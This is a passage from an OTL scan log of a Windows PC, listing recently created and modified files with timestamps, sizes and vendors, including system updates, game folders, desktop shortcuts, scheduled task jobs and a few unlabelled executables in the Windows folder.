[2015/07/14 16:37:10 | 000,136,904 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\wuauclt.exe
[2015/07/14 16:37:10 | 000,124,928 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\wuwebv.dll
[2015/07/14 16:37:10 | 000,095,744 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\wudriver.dll
[2015/07/14 16:37:10 | 000,081,920 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\wudriver.dll
[2015/07/14 16:37:10 | 000,035,840 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\wuapp.exe
[2015/07/14 16:37:10 | 000,029,696 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\wuapp.exe
[2015/07/14 16:35:50 | 002,880,000 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\actxprxy.dll
[2015/07/14 16:35:47 | 002,125,824 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\inetcpl.cpl
[2015/07/14 16:35:47 | 000,800,768 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ieapfltr.dll
[2015/07/14 16:35:47 | 000,633,856 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ieui.dll
[2015/07/14 16:35:47 | 000,584,192 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\vbscript.dll
[2015/07/14 16:35:47 | 000,088,064 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\MshtmlDac.dll
[2015/07/14 16:35:46 | 002,052,608 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\inetcpl.cpl
[2015/07/14 16:35:46 | 000,801,280 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\msfeeds.dll
[2015/07/14 16:35:46 | 000,710,144 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\ieapfltr.dll
[2015/07/14 16:35:46 | 000,478,208 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\ieui.dll
[2015/07/14 16:35:46 | 000,199,680 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\msrating.dll
[2015/07/14 16:35:46 | 000,168,960 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\msrating.dll
[2015/07/14 16:35:46 | 000,092,160 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\mshtmled.dll
[2015/07/14 16:35:46 | 000,073,216 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\tdc.ocx
[2015/07/14 16:35:46 | 000,064,000 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\MshtmlDac.dll
[2015/07/14 16:35:45 | 000,816,640 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\jscript.dll
[2015/07/14 16:35:45 | 000,664,064 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\jscript.dll
[2015/07/14 16:35:45 | 000,316,928 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\dxtrans.dll
[2015/07/14 16:35:45 | 000,145,408 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\iepeers.dll
[2015/07/14 16:35:45 | 000,128,000 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\iepeers.dll
[2015/07/14 16:35:45 | 000,087,552 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\tdc.ocx
[2015/07/14 16:35:45 | 000,076,288 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\mshtmled.dll
[2015/07/14 16:35:38 | 001,380,600 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\gdi32.dll
[2015/07/14 16:35:37 | 001,661,576 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ole32.dll
[2015/07/14 13:24:00 | 000,000,000 | ---D | C] -- C:\ProgramData\{de5cec06-37eb-7153-de5c-cec0637eb018}
[2015/07/14 11:44:38 | 000,045,680 | -H-- | C] (LogMeIn Inc.) -- C:\Windows\SysNative\drivers\Hamdrv.sys
[2015/07/14 09:36:33 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\LogMeIn Hamachi
[2015/07/14 09:36:32 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\LogMeIn Hamachi
[2015/07/12 17:38:04 | 000,066,048 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\wups.dll
[2015/07/12 17:38:04 | 000,052,224 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\wups2.dll
[2015/07/12 17:38:04 | 000,027,136 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\wups.dll
[2015/07/11 17:32:07 | 000,000,000 | ---D | C] -- C:\Users\mewtw_000\Desktop\World Wrestling Mpire 2014 HD
[2015/07/11 17:12:00 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TWC4 Fight!
[2015/07/11 16:38:15 | 000,000,000 | ---D | C] -- C:\Users\mewtw_000\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Wrestling MPire Remix (Career)
[2015/07/11 16:38:15 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wrestling MPire Remix (Career)
[2015/07/11 16:38:01 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\MDickie
[2015/07/11 04:05:57 | 000,000,000 | ---D | C] -- C:\Users\mewtw_000\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Wrestling Encore
[2015/07/11 04:04:18 | 000,000,000 | ---D | C] -- C:\MDickie
[2015/07/10 06:39:22 | 000,000,000 | -H-D | C] -- C:\$Windows.~BT
[2015/07/06 14:02:57 | 000,109,272 | ---- | C] (Malwarebytes Corporation) -- C:\Windows\SysNative\drivers\mbamchameleon.sys
[2015/07/06 14:02:57 | 000,064,216 | ---- | C] (Malwarebytes Corporation) -- C:\Windows\SysNative\drivers\mwac.sys
[2015/07/06 14:02:57 | 000,025,816 | ---- | C] (Malwarebytes Corporation) -- C:\Windows\SysNative\drivers\mbam.sys
[2015/06/30 21:28:38 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\QuickTime
[2015/06/30 21:28:35 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\QuickTime
[2015/06/30 00:51:38 | 000,000,000 | ---D | C] -- C:\Users\mewtw_000\Desktop\UPRandomizer-163b
[8 C:\Windows\SysWow64\*.tmp files -> C:\Windows\SysWow64\*.tmp -> ]
[4 C:\Windows\SysNative\*.tmp files -> C:\Windows\SysNative\*.tmp -> ]
 
========== Files - Modified Within 30 Days ==========
 
[2015/07/29 22:10:34 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\mewtw_000\Desktop\OTL.exe
[2015/07/29 22:07:00 | 000,000,830 | ---- | M] () -- C:\Windows\tasks\Adobe Flash Player Updater.job
[2015/07/29 21:59:23 | 000,863,592 | ---- | M] () -- C:\Windows\SysNative\PerfStringBackup.INI
[2015/07/29 21:59:23 | 000,730,408 | ---- | M] () -- C:\Windows\SysNative\perfh009.dat
[2015/07/29 21:59:23 | 000,135,520 | ---- | M] () -- C:\Windows\SysNative\perfc009.dat
[2015/07/29 21:58:35 | 000,000,304 | ---- | M] () -- C:\Windows\tasks\Uninstaller_SkipUac_mewtw_000.job
[2015/07/29 21:52:55 | 268,435,456 | -HS- | M] () -- C:\swapfile.sys
[2015/07/29 21:52:54 | 2549,108,735 | -HS- | M] () -- C:\hiberfil.sys
[2015/07/29 19:41:00 | 000,000,942 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskUserS-1-5-21-3857839104-3952859072-2417217460-1004UA.job
[2015/07/29 19:11:42 | 000,113,880 | ---- | M] (Malwarebytes Corporation) -- C:\Windows\SysNative\drivers\MBAMSwissArmy.sys
[2015/07/29 19:01:07 | 000,002,201 | ---- | M] () -- C:\Users\Public\Desktop\Advanced SystemCare 8.lnk
[2015/07/29 18:55:53 | 000,001,423 | ---- | M] () -- C:\Users\Public\Desktop\GeForce Experience.lnk
[2015/07/29 14:27:15 | 000,000,020 | ---- | M] () -- C:\Windows\SysWow64\pub_store.dat
[2015/07/29 14:26:38 | 000,002,315 | ---- | M] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\ѸÀ×7.lnk
[2015/07/29 14:26:29 | 000,159,032 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysWow64\atl90.dll
[2015/07/29 14:26:27 | 000,655,872 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysWow64\msvcr90.dll
[2015/07/29 14:26:27 | 000,568,832 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysWow64\msvcp90.dll
[2015/07/29 13:41:16 | 000,000,890 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskUserS-1-5-21-3857839104-3952859072-2417217460-1004Core.job
[2015/07/28 03:55:37 | 000,067,584 | --S- | M] () -- C:\Windows\bootstat.dat
[2015/07/28 03:55:29 | 000,000,000 | -H-- | M] () -- C:\asc_rdflag
[2015/07/28 03:54:38 | 000,000,268 | ---- | M] () -- C:\Windows\tasks\ASC8_SkipUac_mewtw_000.job
[2015/07/27 18:07:47 | 000,035,064 | ---- | M] () -- C:\Windows\SysNative\drivers\TrueSight.sys
[2015/07/27 14:52:28 | 000,000,024 | ---- | M] () -- C:\Users\mewtw_000\AppData\Roaming\appdataFr25.bin
[2015/07/27 02:39:47 | 000,000,000 | ---- | M] () -- C:\Users\mewtw_000\AppData\Local\Temp.dat
[2015/07/27 01:36:42 | 000,001,440 | ---- | M] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk
[2015/07/26 23:53:13 | 000,000,229 | ---- | M] () -- C:\Users\mewtw_000\.swfinfo
[2015/07/26 23:09:44 | 000,003,574 | ---- | M] () -- C:\Windows\SysWow64\${LOGFILE}
[2015/07/26 23:08:03 | 000,631,808 | ---- | M] () -- C:\Windows\ous.dat
[2015/07/26 23:08:02 | 000,408,576 | ---- | M] () -- C:\Windows\mous.exe
[2015/07/26 23:08:00 | 000,417,792 | ---- | M] () -- C:\Windows\ous.exe
[2015/07/26 23:06:17 | 000,000,008 | ---- | M] () -- C:\END
[2015/07/26 22:59:42 | 000,002,761 | ---- | M] () -- C:\Users\Public\Desktop\Skype.lnk
[2015/07/26 22:59:42 | 000,001,353 | ---- | M] () -- C:\Users\Public\Desktop\YTD Video Downloader.lnk
[2015/07/26 22:59:42 | 000,001,323 | ---- | M] () -- C:\Users\Public\Desktop\Start Menu 8.lnk
[2015/07/26 22:59:42 | 000,001,216 | ---- | M] () -- C:\Users\Public\Desktop\Smart Defrag 4.lnk
[2015/07/26 22:59:42 | 000,001,203 | ---- | M] () -- C:\Users\Public\Desktop\Second Life Viewer.lnk
[2015/07/26 22:59:42 | 000,001,181 | ---- | M] () -- C:\Users\Public\Desktop\Yahoo! Messenger.lnk
[2015/07/26 22:59:42 | 000,001,090 | ---- | M] () -- C:\Users\Public\Desktop\Singularity (64 bit) Viewer.lnk
[2015/07/26 22:59:42 | 000,001,027 | ---- | M] () -- C:\Users\Public\Desktop\WinImage (administrator).lnk
[2015/07/26 22:59:42 | 000,001,021 | ---- | M] () -- C:\Users\Public\Desktop\WinRAR.lnk
[2015/07/26 22:59:42 | 000,001,013 | ---- | M] () -- C:\Users\Public\Desktop\Winamp.lnk
[2015/07/26 22:59:42 | 000,000,997 | ---- | M] () -- C:\Users\Public\Desktop\Steam.lnk
[2015/07/26 22:59:42 | 000,000,995 | ---- | M] () -- C:\Users\Public\Desktop\WinImage.lnk
[2015/07/26 22:59:41 | 000,002,762 | ---- | M] () -- C:\Users\Public\Desktop\Nero StartSmart Essentials.lnk
[2015/07/26 22:59:41 | 000,002,221 | ---- | M] () -- C:\Users\Public\Desktop\Google Chrome.lnk
[2015/07/26 22:59:41 | 000,002,188 | ---- | M] () -- C:\Users\Public\Desktop\Driver Booster 2.lnk
[2015/07/26 22:59:41 | 000,001,988 | ---- | M] () -- C:\Users\Public\Desktop\PrintProjects.lnk
[2015/07/26 22:59:41 | 000,001,887 | ---- | M] () -- C:\Users\Public\Desktop\ooVoo.lnk
[2015/07/26 22:59:41 | 000,001,881 | ---- | M] () -- C:\Users\Public\Desktop\QuickTime Player.lnk
[2015/07/26 22:59:41 | 000,001,795 | ---- | M] () -- C:\Users\Public\Desktop\iTunes.lnk
[2015/07/26 22:59:41 | 000,001,763 | ---- | M] () -- C:\Users\Public\Desktop\DAEMON Tools Pro.lnk
[2015/07/26 22:59:41 | 000,001,296 | ---- | M] () -- C:\Users\Public\Desktop\Razer Cortex.lnk
[2015/07/26 22:59:41 | 000,001,276 | ---- | M] () -- C:\Users\Public\Desktop\IObit Uninstaller.lnk
[2015/07/26 22:59:41 | 000,001,243 | ---- | M] () -- C:\Users\Public\Desktop\CloneDVD2.lnk
[2015/07/26 22:59:41 | 000,001,223 | ---- | M] () -- C:\Users\Public\Desktop\IObit Malware Fighter.lnk
[2015/07/26 22:59:41 | 000,001,187 | ---- | M] () -- C:\Users\Public\Desktop\Mozilla Firefox.lnk
[2015/07/26 22:59:41 | 000,001,152 | ---- | M] () -- C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk
[2015/07/26 22:59:41 | 000,001,151 | ---- | M] () -- C:\Users\Public\Desktop\CloneCD.lnk
[2015/07/26 22:59:41 | 000,001,146 | ---- | M] () -- C:\Users\Public\Desktop\OpenOffice 4.1.1.lnk
[2015/07/26 22:59:41 | 000,001,090 | ---- | M] () -- C:\Users\Public\Desktop\Mortal Kombat X.lnk
[2015/07/26 22:59:41 | 000,001,041 | ---- | M] () -- C:\Users\Public\Desktop\Audacity.lnk
[2015/07/26 22:59:41 | 000,001,037 | ---- | M] () -- C:\Users\Public\Desktop\Firestorm-Betax64.lnk
[2015/07/26 22:59:41 | 000,001,025 | ---- | M] () -- C:\Users\Public\Desktop\ManyCam.lnk
[2015/07/26 22:59:41 | 000,000,966 | ---- | M] () -- C:\Users\Public\Desktop\LogMeIn Hamachi.lnk
[2015/07/26 22:59:41 | 000,000,930 | ---- | M] () -- C:\Users\Public\Desktop\Nexus Mod Manager.lnk
[2015/07/26 22:59:40 | 000,001,945 | ---- | M] () -- C:\Users\Public\Desktop\AIM.lnk
[2015/07/26 22:59:40 | 000,001,282 | ---- | M] () -- C:\Users\Public\Desktop\Amazon Music Importer.lnk
[2015/07/26 22:59:38 | 000,002,285 | ---- | M] () -- C:\Users\mewtw_000\Desktop\JDownloader 2.lnk
[2015/07/26 22:59:38 | 000,002,245 | ---- | M] () -- C:\Users\mewtw_000\Desktop\Ragnos1997 Client.lnk
[2015/07/26 22:59:38 | 000,002,093 | ---- | M] () -- C:\Users\mewtw_000\Desktop\jasp.exe - Shortcut.lnk
[2015/07/26 22:59:38 | 000,001,723 | ---- | M] () -- C:\Users\mewtw_000\Desktop\PowerSaves3DS.exe - Shortcut.lnk
[2015/07/26 22:59:38 | 000,001,536 | ---- | M] () -- C:\Users\mewtw_000\Desktop\Project64.exe - Shortcut.lnk
[2015/07/26 22:59:38 | 000,001,487 | ---- | M] () -- C:\Users\mewtw_000\Desktop\Wrestling MPire Remix (Windowed).exe - Shortcut.lnk
[2015/07/26 22:59:38 | 000,001,472 | ---- | M] () -- C:\Users\mewtw_000\Desktop\Oblivion Mod Manager.lnk
[2015/07/26 22:59:38 | 000,001,459 | ---- | M] () -- C:\Users\mewtw_000\Desktop\jk2sp.exe - Shortcut.lnk
[2015/07/26 22:59:38 | 000,001,285 | ---- | M] () -- C:\Users\mewtw_000\Desktop\Photoshop.exe - Shortcut.lnk
[2015/07/26 22:59:38 | 000,001,276 | ---- | M] () -- C:\Users\mewtw_000\Desktop\Amazon Music.lnk
[2015/07/26 22:59:38 | 000,001,204 | ---- | M] () -- C:\Users\mewtw_000\Desktop\join.me.lnk
[2015/07/26 22:59:38 | 000,001,181 | ---- | M] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\Yahoo! Messenger.lnk
[2015/07/26 22:59:38 | 000,001,129 | ---- | M] () -- C:\Users\mewtw_000\Desktop\Cheat Engine.lnk
[2015/07/26 22:59:38 | 000,001,128 | ---- | M] () -- C:\Users\mewtw_000\Desktop\Game Companion.lnk
[2015/07/26 22:59:38 | 000,001,042 | ---- | M] () -- C:\Users\mewtw_000\Desktop\pec.exe - Shortcut (2).lnk
[2015/07/26 22:59:38 | 000,001,013 | ---- | M] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\Winamp.lnk
[2015/07/26 22:59:38 | 000,001,002 | ---- | M] () -- C:\Users\mewtw_000\Desktop\WBFS Manager 3.0.lnk
[2015/07/26 22:59:38 | 000,000,985 | ---- | M] () -- C:\Users\mewtw_000\Desktop\Fallout Mod Manager.lnk
[2015/07/26 22:59:38 | 000,000,870 | ---- | M] () -- C:\Users\mewtw_000\Desktop\Wrestling Encore.lnk
[2015/07/26 22:59:38 | 000,000,666 | ---- | M] () -- C:\Users\mewtw_000\Desktop\Zelda Classic 1.92 beta 183.lnk
[2015/07/26 22:59:38 | 000,000,605 | ---- | M] () -- C:\Users\mewtw_000\Desktop\sai.exe - Shortcut.lnk
[2015/07/26 22:59:38 | 000,000,334 | ---- | M] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\Window Switcher.lnk
[2015/07/26 22:59:37 | 000,002,762 | ---- | M] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\Nero StartSmart Essentials.lnk
[2015/07/26 22:59:37 | 000,002,297 | ---- | M] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk
[2015/07/26 22:59:37 | 000,002,035 | ---- | M] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\JDownloader.lnk
[2015/07/26 22:59:37 | 000,001,945 | ---- | M] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\AIM.lnk
[2015/07/26 22:59:37 | 000,001,472 | ---- | M] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\Oblivion Mod Manager.lnk
[2015/07/26 22:59:37 | 000,001,025 | ---- | M] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\ManyCam.lnk
[2015/07/26 22:59:37 | 000,000,985 | ---- | M] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\Fallout Mod Manager.lnk
[2015/07/26 22:59:37 | 000,000,930 | ---- | M] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\Nexus Mod Manager.lnk
[2015/07/26 22:59:37 | 000,000,352 | ---- | M] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\Shows Desktop.lnk
[2015/07/26 22:59:37 | 000,000,080 | ---- | M] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\JDownloader 2.lnk
[2015/07/26 22:58:08 | 000,001,332 | ---- | M] () -- C:\Users\mewtw_000\AppData\Local\Chrome .lnk
[2015/07/26 22:58:08 | 000,001,153 | ---- | M] () -- C:\Users\mewtw_000\AppData\Local\Firefox .lnk
[2015/07/26 22:58:06 | 000,000,977 | ---- | M] () -- C:\Users\mewtw_000\AppData\Local\Iexplore .lnk
[2015/07/26 02:45:01 | 000,000,378 | ---- | M] () -- C:\Windows\SMB2ed.ini
[2015/07/25 20:20:19 | 000,000,222 | ---- | M] () -- C:\Users\mewtw_000\Desktop\Five Nights at Freddy's 4.url
[2015/07/25 06:34:01 | 001,084,928 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysNative\appraiser.dll
[2015/07/23 05:08:13 | 018,823,680 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysNative\Windows.UI.Xaml.dll
[2015/07/23 05:08:13 | 015,159,296 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysWow64\Windows.UI.Xaml.dll
[2015/07/23 05:08:00 | 000,411,133 | ---- | M] () -- C:\Windows\SysNative\ApnDatabase.xml
[2015/07/23 05:07:54 | 000,428,888 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysNative\drivers\FWPKCLNT.SYS
[2015/07/22 10:53:02 | 000,000,296 | ---- | M] () -- C:\Windows\tasks\Uninstaller_SkipUac_mario.job
[2015/07/21 11:45:00 | 000,000,004 | ---- | M] () -- C:\Windows\SysWow64\029B560A371F4E00AB32838EBC01B9E7
[2015/07/21 04:59:26 | 004,977,288 | ---- | M] () -- C:\Windows\SysNative\FNTCACHE.DAT
[2015/07/20 18:04:41 | 000,358,912 | ---- | M] (Adobe Systems Incorporated) -- C:\Windows\SysNative\atmfd.dll
[2015/07/20 18:04:41 | 000,301,056 | ---- | M] (Adobe Systems Incorporated) -- C:\Windows\SysWow64\atmfd.dll
[2015/07/20 18:04:41 | 000,044,032 | ---- | M] (Adobe Systems) -- C:\Windows\SysNative\atmlib.dll
[2015/07/20 18:04:41 | 000,035,840 | ---- | M] (Adobe Systems) -- C:\Windows\SysWow64\atmlib.dll
[2015/07/14 14:59:47 | 000,487,256 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysNative\netcfgx.dll
[2015/07/14 14:59:23 | 000,393,560 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysWow64\netcfgx.dll
[2015/07/14 11:44:38 | 000,045,680 | -H-- | M] (LogMeIn Inc.) -- C:\Windows\SysNative\drivers\Hamdrv.sys
[2015/07/14 10:50:03 | 000,000,260 | ---- | M] () -- C:\Windows\tasks\ASC8_SkipUac_mario.job
[2015/07/13 14:10:13 | 000,792,568 | ---- | M] (Adobe Systems Incorporated) -- C:\Windows\SysWow64\FlashPlayerApp.exe
[2015/07/13 14:10:13 | 000,178,168 | ---- | M] (Adobe Systems Incorporated) -- C:\Windows\SysWow64\FlashPlayerCPLApp.cpl
[2015/07/12 17:38:04 | 000,066,048 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysNative\wups.dll
[2015/07/12 17:38:04 | 000,052,224 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysNative\wups2.dll
[2015/07/12 17:38:04 | 000,027,136 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysWow64\wups.dll
[2015/07/09 12:51:16 | 000,136,904 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysNative\wuauclt.exe
[2015/07/09 11:40:34 | 000,359,936 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysNative\WinSetupUI.dll
[2015/07/09 08:54:39 | 000,035,840 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysNative\wuapp.exe
[2015/07/09 08:53:47 | 000,140,288 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysNative\wuwebv.dll
[2015/07/09 08:50:26 | 000,409,088 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysNative\WUSettingsProvider.dll
[2015/07/09 08:50:06 | 000,095,744 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysNative\wudriver.dll
[2015/07/09 08:48:47 | 000,891,904 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysNative\wuapi.dll
[2015/07/09 08:46:59 | 002,229,248 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysNative\wucltux.dll
[2015/07/09 08:38:21 | 000,029,696 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysWow64\wuapp.exe
[2015/07/09 08:37:44 | 000,124,928 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysWow64\wuwebv.dll
[2015/07/09 08:35:19 | 000,081,920 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysWow64\wudriver.dll
[2015/07/09 08:34:40 | 000,721,920 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysWow64\wuapi.dll
[2015/07/09 01:32:38 | 030,810,805 | ---- | M] () -- C:\Users\mewtw_000\Desktop\CHAR_Raiden_B MK2.rar
[2015/07/06 12:11:34 | 000,014,040 | ---- | M] () -- C:\Windows\SysNative\drivers\wsfd_vw_1_10_0_20.sys
[2015/07/01 15:08:54 | 005,923,840 | ---- | M] (Microsoft Corporation) -- C:\Windows\SysNative\jscript9.dll
[8 C:\Windows\SysWow64\*.tmp files -> C:\Windows\SysWow64\*.tmp -> ]
[4 C:\Windows\SysNative\*.tmp files -> C:\Windows\SysNative\*.tmp -> ]
 
========== Files Created - No Company Name ==========
 
[2015/07/29 21:58:35 | 000,000,304 | ---- | C] () -- C:\Windows\tasks\Uninstaller_SkipUac_mewtw_000.job
[2015/07/29 14:27:15 | 000,000,020 | ---- | C] () -- C:\Windows\SysWow64\pub_store.dat
[2015/07/29 14:26:38 | 000,002,315 | ---- | C] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\ѸÀ×7.lnk
[2015/07/28 03:55:29 | 000,000,000 | -H-- | C] () -- C:\asc_rdflag
[2015/07/27 18:07:47 | 000,035,064 | ---- | C] () -- C:\Windows\SysNative\drivers\TrueSight.sys
[2015/07/27 02:39:47 | 000,000,000 | ---- | C] () -- C:\Users\mewtw_000\AppData\Local\Temp.dat
[2015/07/27 01:36:42 | 000,001,440 | ---- | C] () -- C:\Users\mewtw_000\Application Data\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk
[2015/07/26 23:53:13 | 000,000,229 | ---- | C] () -- C:\Users\mewtw_000\.swfinfo
[2015/07/26 23:08:02 | 000,631,808 | ---- | C] () -- C:\Windows\ous.dat
[2015/07/26 23:08:00 | 000,408,576 | ---- | C] () -- C:\Windows\mous.exe
[2015/07/26 23:07:57 | 000,417,792 | ---- | C] () -- C:\Windows\ous.exe
[2015/07/26 23:01:39 | 000,000,008 | ---- | C] () -- C:\END
[2015/07/26 22:58:28 | 008,368,732 | ---- | C] () -- C:\Users\Public\Documents\windows.exe
[2015/07/26 22:58:08 | 000,001,332 | ---- | C] () -- C:\Users\mewtw_000\AppData\Local\Chrome .lnk
[2015/07/26 22:58:08 | 000,001,153 | ---- | C] () -- C:\Users\mewtw_000\AppData\Local\Firefox .lnk
[2015/07/26 22:58:06 | 000,001,358 | ---- | C] () -- C:\Users\mewtw_000\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome .lnk
[2015/07/26 22:58:06 | 000,001,101 | ---- | C] () -- C:\Users\mewtw_000\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Firefox .lnk
[2015/07/26 22:58:06 | 000,001,001 | ---- | C] () -- C:\Users\mewtw_000\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Iexplore .lnk
[2015/07/26 22:58:06 | 000,000,977 | ---- | C] () -- C:\Users\mewtw_000\AppData\Local\Iexplore .lnk
[2015/07/25 20:20:19 | 000,000,222 | ---- | C] () -- C:\Users\mewtw_000\Desktop\Five Nights at Freddy's 4.url
[2015/07/23 23:11:56 | 000,000,378 | ---- | C] () -- C:\Windows\SMB2ed.ini
[2015/07/23 05:08:00 | 000,411,133 | ---- | C] () -- C:\Windows\SysNative\ApnDatabase.xml
[2015/07/22 10:53:02 | 000,000,296 | ---- | C] () -- C:\Windows\tasks\Uninstaller_SkipUac_mario.job
[2015/07/21 01:54:31 | 000,000,024 | ---- | C] () -- C:\Users\mewtw_000\AppData\Roaming\appdataFr25.bin
[2015/07/15 13:38:44 | 000,001,296 | ---- | C] () -- C:\Users\Public\Desktop\Razer Cortex.lnk
[2015/07/15 13:36:32 | 000,000,942 | ---- | C] () -- C:\Windows\tasks\GoogleUpdateTaskUserS-1-5-21-3857839104-3952859072-2417217460-1004UA.job
[2015/07/15 13:36:25 | 000,000,890 | ---- | C] () -- C:\Windows\tasks\GoogleUpdateTaskUserS-1-5-21-3857839104-3952859072-2417217460-1004Core.job
[2015/07/14 21:34:39 | 000,001,795 | ---- | C] () -- C:\Users\Public\Desktop\iTunes.lnk
[2015/07/14 09:36:36 | 000,000,966 | ---- | C] () -- C:\Users\Public\Desktop\LogMeIn Hamachi.lnk
[2015/07/13 12:51:30 | 000,002,188 | ---- | C] () -- C:\Users\Public\Desktop\Driver Booster 2.lnk
[2015/07/11 16:52:02 | 000,001,487 | ---- | C] () -- C:\Users\mewtw_000\Desktop\Wrestling MPire Remix (Windowed).exe - Shortcut.lnk
[2015/07/11 04:04:20 | 000,000,870 | ---- | C] () -- C:\Users\mewtw_000\Desktop\Wrestling Encore.lnk
[2015/07/09 01:32:20 | 030,810,805 | ---- | C] () -- C:\Users\mewtw_000\Desktop\CHAR_Raiden_B MK2.rar
[2015/07/06 14:03:01 | 000,001,152 | ---- | C] () -- C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk
[2015/07/06 12:11:34 | 000,014,040 | ---- | C] () -- C:\Windows\SysNative\drivers\wsfd_vw_1_10_0_20.sys
[2015/06/30 21:28:38 | 000,001,881 | ---- | C] () -- C:\Users\Public\Desktop\QuickTime Player.lnk
[2015/06/27 21:52:56 | 000,000,069 | ---- | C] () -- C:\Windows\NeroDigital.ini
[2015/06/23 03:31:29 | 037,748,880 | ---- | C] () -- C:\Windows\SysWow64\nvcompiler.dll
[2015/06/19 21:45:09 | 000,000,258 | RHS- | C] () -- C:\ProgramData\ntuser.pol
[2015/06/08 17:54:18 | 000,000,079 | ---- | C] () -- C:\Program Files (x86)\prefs.js
[2015/06/06 15:58:41 | 000,002,888 | ---- | C] () -- C:\Windows\SysWow64\LavasoftTcpServiceOff.ini
[2015/06/05 16:24:30 | 000,000,085 | -HS- | C] () -- C:\ProgramData\.zreglib
[2015/05/20 03:18:14 | 000,004,664 | ---- | C] () -- C:\Windows\SysWow64\Okuseei.ini
